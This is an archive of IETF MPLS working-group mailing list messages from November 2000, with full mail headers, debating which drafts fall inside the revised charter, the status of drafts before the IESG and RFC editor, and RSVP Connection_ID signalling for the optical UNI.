imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjron08610 for ; Thu, 30 Nov 2000 17:17:33 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjron28792 for ; Thu, 30 Nov 2000 17:15:06 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjron12764 for ; Thu, 30 Nov 2000 17:15:06 GMT Received: from lir.cisco.com (lir-hme0.cisco.com [171.69.204.20]) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id MAA12457; Thu, 30 Nov 2000 12:15:05 -0500 (EST) Received: from localhost (swallow@localhost) by lir.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id MAA14711; Thu, 30 Nov 2000 12:15:04 -0500 (EST) Message-Id: <200011301715.MAA14711@lir.cisco.com> X-Authentication-Warning: lir.cisco.com: swallow owned process doing -bs To: "Dawkins, Spencer" cc: mpls@UU.NET, swallow@cisco.com Subject: Re: New MPLS charter In-reply-to: Your message of "Thu, 30 Nov 2000 10:18:48 CST." <988C6A018CC0D41197D90000F81AA34BCB6EA8@fnc03.fnc.fujitsu.com> Date: Thu, 30 Nov 2000 12:15:04 -0500 From: George Swallow Sender: owner-mpls@UU.NET Precedence: bulk Spencer - The way I read that (and I would like to be wrong on this, but doubt that I am) is we can define new ways of carrying labels where new kinds of link layers may emerge out of the Optical work. Also I don't really anticipate any need in that area, since we already have an encapsulation over PPP and PPP is likely to be defined over any thing that emerges out of the optical work. ...George ================================================================== George Swallow Cisco Systems (978) 244-8143 250 Apollo Drive Chelmsford, Ma 01824 From owner-mpls@UU.NET Thu Nov 30 12:34:57 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA20788 for ; Thu, 30 Nov 2000 12:34:56 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroo04481; Thu, 30 Nov 2000 17:32:40 GMT Received: by mail-control.mail.uu.net id QQjroo10152 for mpls-outgoing; Thu, 30 Nov 2000 17:32:19 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjroo10140 for ; Thu, 30 Nov 2000 17:32:10 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjroo17665 for ; Thu, 30 Nov 2000 17:31:46 GMT Received: from jasmine1.ad.jasminenetworks.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: adsl-63-202-10-98.dsl.snfc21.pacbell.net [63.202.10.98]) id QQjroo12642 for ; Thu, 30 Nov 2000 17:31:46 GMT Received: by jasmine1.ad.jasminenetworks.com with Internet Mail Service (5.5.2650.21) id ; Thu, 30 Nov 2000 09:31:29 -0800 Message-ID: From: Vach Kompella To: "'mpls@uu.net'" Subject: What's in or out? Date: Thu, 30 Nov 2000 09:31:21 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Well, it does look like a huge number of drafts are out of scope. I tried to classify them as in or out. Miscellaneous at the end are drafts I think should not have much problem getting in as Information RFCs. Comments? Not in charter ============== A Framework for MPLS (sounds like this should have been an Informational RFC by now) The Assignment of the Information Field and Protocol Identifier in the Q.2941 Generic Identifier and Q.2957 User-to-user Signaling for the Internet Protocol (51283 bytes) VCID Notification over ATM link for LDP (37102 bytes) Definitions of Managed Objects for the Multiprotocol Label Switching, Label Distribution Protocol (LDP) (175663 bytes) MPLS Traffic Engineering Management Information Base Using SMIv2 (110714 bytes) Framework for IP Multicast in MPLS (61038 bytes) ICMP Extensions for MultiProtocol Label Switching (17870 bytes) LSP Modification Using CR-LDP (25333 bytes) IMPROVING TOPOLOGY DATA BASE ACCURACY WITH LSP FEEDBACK (29565 bytes) LSP Hierarchy with MPLS TE (23524 bytes) MPLS/IP Header Compression (30916 bytes) MPLS/IP Header Compression over PPP (17770 bytes) Link Management Protocol (LMP) (89750 bytes) Framework for MPLS-based Recovery (84785 bytes) Multiprotocol Label Switching (MPLS) FEC-To-NHLFE (FTN) Management Information Base Using SMIv2 (43776 bytes) Fault Tolerance for LDP and CR-LDP (63133 bytes) MPLS LDP Query Message Description (37892 bytes) Signalling Unnumbered Links in CR-LDP (12534 bytes) Signalling Unnumbered Links in RSVP-TE (14605 bytes) Requirements for support of Diff-Serv-aware MPLS Traffic Engineering (33232 bytes) Extensions to RSVP-TE and CR-LDP for support of Diff-Serv-aware MPLS Traffic Engineering (26349 bytes) LDP Extensions for Optical User Network Interface (O-UNI) Signaling (47991 bytes) In charter ========== Bullet 1 ------- Multiprotocol Label Switching Architecture (145511 bytes) Carrying Label Information in BGP-4 (14682 bytes) LDP Specification (271735 bytes) LDP State Machine (106866 bytes) RSVP-TE: Extensions to RSVP for LSP Tunnels (130237 bytes) Constraint-Based LSP Setup using LDP (87356 bytes) MPLS Support of Differentiated Services (130818 bytes) MPLS Loop Prevention Mechanism (94671 bytes) MPLS Label Switch Router Management Information Base Using SMIv2 (104632 bytes) LDP Applicability (12396 bytes) MPLS Label Stack Encoding (47028 bytes) Bullet 2 -------- Bullet 3 -------- Use of Label Switching on Frame Relay Networks Specification (52911 bytes) MPLS using LDP and ATM VC Switching (46275 bytes) Generalized MPLS - Signaling Functional Description (94621 bytes) Generalized MPLS Signaling - CR-LDP Extensions (29232 bytes) Generalized MPLS Signaling - RSVP-TE Extensions (43771 bytes) Miscellaneous ------------ Applicability Statement for CR-LDP (13805 bytes) Applicability Statement for Extensions to RSVP for LSP-Tunnels (16573 bytes) - Vach From owner-mpls@UU.NET Thu Nov 30 12:45:33 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA24948 for ; Thu, 30 Nov 2000 12:45:33 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroo29299; Thu, 30 Nov 2000 17:43:27 GMT Received: by mail-control.mail.uu.net id QQjroo11190 for mpls-outgoing; Thu, 30 Nov 2000 17:42:39 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroo11178 for ; Thu, 30 Nov 2000 17:42:27 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjroo03432 for ; Thu, 30 Nov 2000 17:41:30 GMT Received: from kcmso1.proxy.att.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: kcmso1.att.com [192.128.133.69]) id QQjroo26692 for ; Thu, 30 Nov 2000 17:41:29 GMT Received: from gab200r1.ems.att.com ([135.37.94.32]) by kcmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id eAUHfS526901; Thu, 30 Nov 2000 12:41:28 -0500 (EST) Received: from njb140bh2.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id MAA19336; Thu, 30 Nov 2000 12:40:36 -0500 (EST) Received: by njb140bh2.ems.att.com with Internet Mail Service (5.5.2652.35) id ; Thu, 30 Nov 2000 12:41:27 -0500 Message-ID: <1B08859602C8D211B66F0000C0769CFA03A9516E@njc240po03.mt.att.com> From: "Ash, Gerald R (Jerry), ALCOO" To: "'Vach Kompella'" , "'mpls@uu.net'" Cc: "Ash, Gerald R (Jerry), ALCOO" Subject: RE: What's in or out? Date: Thu, 30 Nov 2000 12:41:23 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk > Not in charter > ============== > LSP Modification Using CR-LDP (25333 bytes) Is in Charter under Goal 1 at http://www.ietf.org/html.charters/mpls-charter.html From owner-mpls@UU.NET Thu Nov 30 12:46:41 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA25486 for ; Thu, 30 Nov 2000 12:46:41 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroo22023; Thu, 30 Nov 2000 17:44:41 GMT Received: by mail-control.mail.uu.net id QQjroo11336 for mpls-outgoing; Thu, 30 Nov 2000 17:44:01 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroo11320 for ; Thu, 30 Nov 2000 17:43:46 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjroo08015 for ; Thu, 30 Nov 2000 17:42:57 GMT Received: from ihemail1.firewall.lucent.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ihemail1.lucent.com [192.11.222.161]) id QQjroo24212 for ; Thu, 30 Nov 2000 17:42:56 GMT Received: from ihemail1.firewall.lucent.com (localhost [127.0.0.1]) by ihemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id MAA19627 for ; Thu, 30 Nov 2000 12:42:56 -0500 (EST) Received: from hotair.hobl.lucent.com (h199-118-135-2.lucent.com [199.118.135.2]) by ihemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with SMTP id MAA19618 for ; Thu, 30 Nov 2000 12:42:56 -0500 (EST) Received: from hotair.hobl.lucent.com by hotair.hobl.lucent.com (SMI-8.6/EMS-1.5 sol2) id MAA03053; Thu, 30 Nov 2000 12:42:55 -0500 Message-ID: <3A269220.4CF86F49@hotair.hobl.lucent.com> Date: Thu, 30 Nov 2000 12:45:05 -0500 From: Ramesh Bhandari X-Mailer: Mozilla 4.73 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: ip-optical@lists.bell-labs.com, mpls@UU.NET Subject: I-D for Optical Mesh Restoration Requirements Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi, We have submitted an I-D: "High Level requirments for Optical Shared Mesh Restoration", which can be found at the website: http://www.ietf.org/internet-drafts/draft-bhandari-optical-restoration-00.txt. The draft focuses upon next generation optical (mesh) networks, and provides key requirements for enabling fast restoration in increasingly large transparent optical subnetworks. Presentation will be made at the IPO session on Friday, December 15 at San Diego. Any comments are welcome. Regards, Ramesh From owner-mpls@UU.NET Thu Nov 30 13:10:54 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA05404 for ; Thu, 30 Nov 2000 13:10:53 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroq03223; Thu, 30 Nov 2000 18:08:58 GMT Received: by mail-control.mail.uu.net id QQjroq25443 for mpls-outgoing; Thu, 30 Nov 2000 18:08:32 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroq25437 for ; Thu, 30 Nov 2000 18:08:28 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjroq24896 for ; Thu, 30 Nov 2000 18:08:14 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjroq02033 for ; Thu, 30 Nov 2000 18:08:13 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id NAA20889 for mpls@uu.net; Thu, 30 Nov 2000 13:08:12 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjroq25329 for ; Thu, 30 Nov 2000 18:07:35 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjroq05773 for ; Thu, 30 Nov 2000 18:07:00 GMT Received: from rtp-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjroq00165 for ; Thu, 30 Nov 2000 18:07:00 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id NAA03443; Thu, 30 Nov 2000 13:05:03 -0500 (EST) Received: from TNADEAU-PC02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id AAR20993; Thu, 30 Nov 2000 13:06:55 -0500 (EST) Message-Id: <4.3.2.7.2.20001130130358.017b2630@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 30 Nov 2000 13:06:54 -0500 To: Vach Kompella , "'mpls@uu.net'" From: "Thomas D. Nadeau" Subject: Re: What's in or out? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk You noted that the MPLS-LSR/TE/LDP/FTN-MIBs are no longer in the charter's scope. After reading the revised charter, I seem to agree with you (though not with the charter). This seems bad to me since they were defined (and accepted by the wg) to manage specific MPLS components. Where are things like this going to be moved? I think that it would be a terrible shame to loose this work, especially since there are numerous implementations of these drafts out there now. --Tom >Not in charter >============== >A Framework for MPLS (sounds like this should have been an Informational RFC >by now) >The Assignment of the Information Field and Protocol Identifier in the >Q.2941 Generic Identifier and Q.2957 User-to-user Signaling for the Internet >Protocol (51283 bytes) >VCID Notification over ATM link for LDP (37102 bytes) >Definitions of Managed Objects for the Multiprotocol Label Switching, Label >Distribution Protocol (LDP) (175663 bytes) >MPLS Traffic Engineering Management Information Base Using SMIv2 (110714 >bytes) >Framework for IP Multicast in MPLS (61038 bytes) >ICMP Extensions for MultiProtocol Label Switching (17870 bytes) >LSP Modification Using CR-LDP (25333 bytes) >IMPROVING TOPOLOGY DATA BASE ACCURACY WITH LSP FEEDBACK (29565 bytes) >LSP Hierarchy with MPLS TE (23524 bytes) >MPLS/IP Header Compression (30916 bytes) >MPLS/IP Header Compression over PPP (17770 bytes) >Link Management Protocol (LMP) (89750 bytes) >Framework for MPLS-based Recovery (84785 bytes) >Multiprotocol Label Switching (MPLS) FEC-To-NHLFE (FTN) Management >Information Base Using SMIv2 (43776 bytes) >Fault Tolerance for LDP and CR-LDP (63133 bytes) >MPLS LDP Query Message Description (37892 bytes) >Signalling Unnumbered Links in CR-LDP (12534 bytes) >Signalling Unnumbered Links in RSVP-TE (14605 bytes) >Requirements for support of Diff-Serv-aware MPLS Traffic Engineering (33232 >bytes) >Extensions to RSVP-TE and CR-LDP for support of Diff-Serv-aware MPLS Traffic >Engineering (26349 bytes) >LDP Extensions for Optical User Network Interface (O-UNI) Signaling (47991 >bytes) > >In charter >========== >Bullet 1 >------- >Multiprotocol Label Switching Architecture (145511 bytes) >Carrying Label Information in BGP-4 (14682 bytes) >LDP Specification (271735 bytes) >LDP State Machine (106866 bytes) >RSVP-TE: Extensions to RSVP for LSP Tunnels (130237 bytes) >Constraint-Based LSP Setup using LDP (87356 bytes) >MPLS Support of Differentiated Services (130818 bytes) >MPLS Loop Prevention Mechanism (94671 bytes) >MPLS Label Switch Router Management Information Base Using SMIv2 (104632 >bytes) >LDP Applicability (12396 bytes) >MPLS Label Stack Encoding (47028 bytes) > >Bullet 2 >-------- > >Bullet 3 >-------- >Use of Label Switching on Frame Relay Networks Specification (52911 bytes) >MPLS using LDP and ATM VC Switching (46275 bytes) >Generalized MPLS - Signaling Functional Description (94621 bytes) >Generalized MPLS Signaling - CR-LDP Extensions (29232 bytes) >Generalized MPLS Signaling - RSVP-TE Extensions (43771 bytes) > >Miscellaneous >------------ >Applicability Statement for CR-LDP (13805 bytes) >Applicability Statement for Extensions to RSVP for LSP-Tunnels (16573 bytes) > >- Vach From owner-mpls@UU.NET Thu Nov 30 13:22:32 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09911 for ; Thu, 30 Nov 2000 13:22:32 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjror12381; Thu, 30 Nov 2000 18:19:26 GMT Received: by mail-control.mail.uu.net id QQjror26962 for mpls-outgoing; Thu, 30 Nov 2000 18:18:52 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjror26957 for ; Thu, 30 Nov 2000 18:18:51 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjror08323 for ; Thu, 30 Nov 2000 18:17:44 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjror15954 for ; Thu, 30 Nov 2000 18:17:43 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id NAA22452 for mpls@uu.net; Thu, 30 Nov 2000 13:17:42 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjror26821 for ; Thu, 30 Nov 2000 18:17:10 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjror19356 for ; Thu, 30 Nov 2000 18:16:11 GMT Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: funnel.cisco.com [161.44.131.24]) id QQjror20633 for ; Thu, 30 Nov 2000 18:16:11 GMT Received: from lir.cisco.com (lir-hme1.cisco.com [171.69.209.57]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA21948; Thu, 30 Nov 2000 13:16:09 -0500 (EST) Received: from localhost (swallow@localhost) by lir.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id NAA23809; Thu, 30 Nov 2000 13:16:07 -0500 (EST) Message-Id: <200011301816.NAA23809@lir.cisco.com> X-Authentication-Warning: lir.cisco.com: swallow owned process doing -bs To: Vach Kompella cc: "'mpls@uu.net'" , swallow@cisco.com Subject: Re: What's in or out? In-reply-to: Your message of "Thu, 30 Nov 2000 09:31:21 PST." Date: Thu, 30 Nov 2000 13:16:07 -0500 From: George Swallow Sender: owner-mpls@UU.NET Precedence: bulk > A Framework for MPLS (sounds like this should have been an Informational RFC > by now) This is pretty much overcome by events and probably should die. > The Assignment of the Information Field and Protocol Identifier in the > Q.2941 Generic Identifier and Q.2957 User-to-user Signaling for the Internet > Protocol (51283 bytes) This is already on the RFC editor's queue > VCID Notification over ATM link for LDP (37102 bytes) This is already on the RFC editor's queue > Definitions of Managed Objects for the Multiprotocol Label Switching, Label > Distribution Protocol (LDP) (175663 bytes) This went to IESG last call just before Thanksgiving > MPLS Traffic Engineering Management Information Base Using SMIv2 (110714 > bytes) > Framework for IP Multicast in MPLS (61038 bytes) > ICMP Extensions for MultiProtocol Label Switching (17870 bytes) Rejected by the IESG > LSP Modification Using CR-LDP (25333 bytes) went to IESG last call just before Thanksgiving > IMPROVING TOPOLOGY DATA BASE ACCURACY WITH LSP FEEDBACK (29565 bytes) > LSP Hierarchy with MPLS TE (23524 bytes) > MPLS/IP Header Compression (30916 bytes) > MPLS/IP Header Compression over PPP (17770 bytes) > Link Management Protocol (LMP) (89750 bytes) > Framework for MPLS-based Recovery (84785 bytes) > Multiprotocol Label Switching (MPLS) FEC-To-NHLFE (FTN) Management > Information Base Using SMIv2 (43776 bytes) > Fault Tolerance for LDP and CR-LDP (63133 bytes) > MPLS LDP Query Message Description (37892 bytes) > Signalling Unnumbered Links in CR-LDP (12534 bytes) > Signalling Unnumbered Links in RSVP-TE (14605 bytes) > Requirements for support of Diff-Serv-aware MPLS Traffic Engineering (33232 > bytes) > Extensions to RSVP-TE and CR-LDP for support of Diff-Serv-aware MPLS Traffic > Engineering (26349 bytes) > LDP Extensions for Optical User Network Interface (O-UNI) Signaling (47991 > bytes) > > In charter > ========== > Bullet 1 > ------- > Multiprotocol Label Switching Architecture (145511 bytes) This is already on the RFC editor's queue > Carrying Label Information in BGP-4 (14682 bytes) went to IESG last call just before Thanksgiving > LDP Specification (271735 bytes) This is already on the RFC editor's queue > LDP State Machine (106866 bytes) went to IESG last call just before Thanksgiving > RSVP-TE: Extensions to RSVP for LSP Tunnels (130237 bytes) went to IESG last call just before Thanksgiving > Constraint-Based LSP Setup using LDP (87356 bytes) went to IESG last call just before Thanksgiving > MPLS Support of Differentiated Services (130818 bytes) went to difserv last call just before Thanksgiving > MPLS Loop Prevention Mechanism (94671 bytes) Experimental - will be published > MPLS Label Switch Router Management Information Base Using SMIv2 (104632 > bytes) went to IESG last call just before Thanksgiving > LDP Applicability (12396 bytes) This is already on the RFC editor's queue > MPLS Label Stack Encoding (47028 bytes) This is already on the RFC editor's queue > > Bullet 2 > -------- > > Bullet 3 > -------- > Use of Label Switching on Frame Relay Networks Specification (52911 bytes) This is already on the RFC editor's queue > MPLS using LDP and ATM VC Switching (46275 bytes) This is already on the RFC editor's queue > Generalized MPLS - Signaling Functional Description (94621 bytes) > Generalized MPLS Signaling - CR-LDP Extensions (29232 bytes) > Generalized MPLS Signaling - RSVP-TE Extensions (43771 bytes) I wish. I believe the above three are bound to go into COMA. > Miscellaneous > ------------ > Applicability Statement for CR-LDP (13805 bytes) went to IESG last call just before Thanksgiving > Applicability Statement for Extensions to RSVP for LSP-Tunnels (16573 bytes) went to IESG last call just before Thanksgiving ...George ================================================================== George Swallow Cisco Systems (978) 244-8143 250 Apollo Drive Chelmsford, Ma 01824 From owner-mpls@UU.NET Thu Nov 30 14:17:23 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA06031 for ; Thu, 30 Nov 2000 14:17:23 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrov08618; Thu, 30 Nov 2000 19:16:11 GMT Received: by mail-control.mail.uu.net id QQjrov15210 for mpls-outgoing; Thu, 30 Nov 2000 19:15:13 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrov15142 for ; Thu, 30 Nov 2000 19:15:03 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrou19367 for ; Thu, 30 Nov 2000 19:14:29 GMT Received: from icarian.ZAFFIRE.COM by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: netscreen10.zaffire.com [64.232.69.132]) id QQjrou16078 for ; Thu, 30 Nov 2000 19:14:27 GMT Received: by ICARIAN with Internet Mail Service (5.5.2650.21) id ; Thu, 30 Nov 2000 11:15:16 -0800 Message-ID: <4611AD058694D4118FD5009027B0A6622B890E@ICARIAN> From: Fong Liaw To: "'Diego Caviglia'" , mpls@UU.NET Subject: RE: draft-yu-mpls-rsvp-oif-uni-00 Date: Thu, 30 Nov 2000 11:15:15 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi, Diego The official name for ligthpath ID is now "Connection_ID". We are still discussing (among authors) how this object should be used and therefore where it should show up in the messages. Right now, we don't have a clear definition of these from the requirement but this will hopefully be resolved between the carrier group in OIF and the signaling group authors soon. Right now our proposal is the following: "The Connection_ID object will be an optional object in all RSVP messages. However, once a Connection_ID is assigned by the network, a user node MUST carry the object in every subsequent RSVP message it generates." This phrase gives network the freedom of generating or not generating a Connection_ID, and if they do generate one, a user node will play it back to the network. A connection is still identified by RSVP Session object, at the UNI. -Fong > -----Original Message----- > From: Diego Caviglia [mailto:Diego.Caviglia@marconi.com] > Sent: Thursday, November 30, 2000 5:54 AM > To: mpls@UU.NET > Subject: draft-yu-mpls-rsvp-oif-uni-00 > > > > > Fong, > I've seen that w.r.t. the OIF version of this > draft a Lightpath > ID object is introduced but in the message definition I > can't find it. > > If it is not a mistake, could someone explain in wich > message Lightpath ID must > be inserted? > > Regards Diego. > > From owner-mpls@UU.NET Thu Nov 30 14:51:55 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18880 for ; Thu, 30 Nov 2000 14:51:55 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrox02455; Thu, 30 Nov 2000 19:51:06 GMT Received: by mail-control.mail.uu.net id QQjrox18958 for mpls-outgoing; Thu, 30 Nov 2000 19:50:22 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrox18942 for ; Thu, 30 Nov 2000 19:50:14 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrox25986 for ; Thu, 30 Nov 2000 19:49:51 GMT Received: from jasmine1.ad.jasminenetworks.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: adsl-63-202-10-98.dsl.snfc21.pacbell.net [63.202.10.98]) id QQjrox00655 for ; Thu, 30 Nov 2000 19:49:50 GMT Received: by jasmine1.ad.jasminenetworks.com with Internet Mail Service (5.5.2650.21) id ; Thu, 30 Nov 2000 11:49:33 -0800 Message-ID: From: Vach Kompella To: "'Thomas D. Nadeau'" , "'mpls@uu.net'" Subject: RE: What's in or out? Date: Thu, 30 Nov 2000 11:49:25 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk I guess my motivation for sending that somewhat rough classification was to see if there was enough good content (or at least problem identification) in the remaining drafts, so whether *this* MPLS WG shuts down or not, the work goes on in a new MPLS-2 WG that has a new charter addressing those issues. George's email is more definitive, but if you filter out what is in or out based on that, I don't believe there is enough to make up a WG charter yet. Maybe that should be an agenda item in the non-existent agenda. -Vach -----Original Message----- From: Thomas D. Nadeau [mailto:tnadeau@cisco.com] Sent: Thursday, November 30, 2000 10:07 AM To: Vach Kompella; 'mpls@uu.net' Subject: Re: What's in or out? You noted that the MPLS-LSR/TE/LDP/FTN-MIBs are no longer in the charter's scope. After reading the revised charter, I seem to agree with you (though not with the charter). This seems bad to me since they were defined (and accepted by the wg) to manage specific MPLS components. Where are things like this going to be moved? I think that it would be a terrible shame to loose this work, especially since there are numerous implementations of these drafts out there now. --Tom From owner-mpls@UU.NET Thu Nov 30 14:59:45 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA21699 for ; Thu, 30 Nov 2000 14:59:45 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrox18490; Thu, 30 Nov 2000 19:58:32 GMT Received: by mail-control.mail.uu.net id QQjrox19933 for mpls-outgoing; Thu, 30 Nov 2000 19:58:10 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrox19924 for ; Thu, 30 Nov 2000 19:58:04 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrox00794 for ; Thu, 30 Nov 2000 19:58:02 GMT Received: from mail-blue.research.att.com by cmr0.ash.ops.us.uu.net with ESMTP 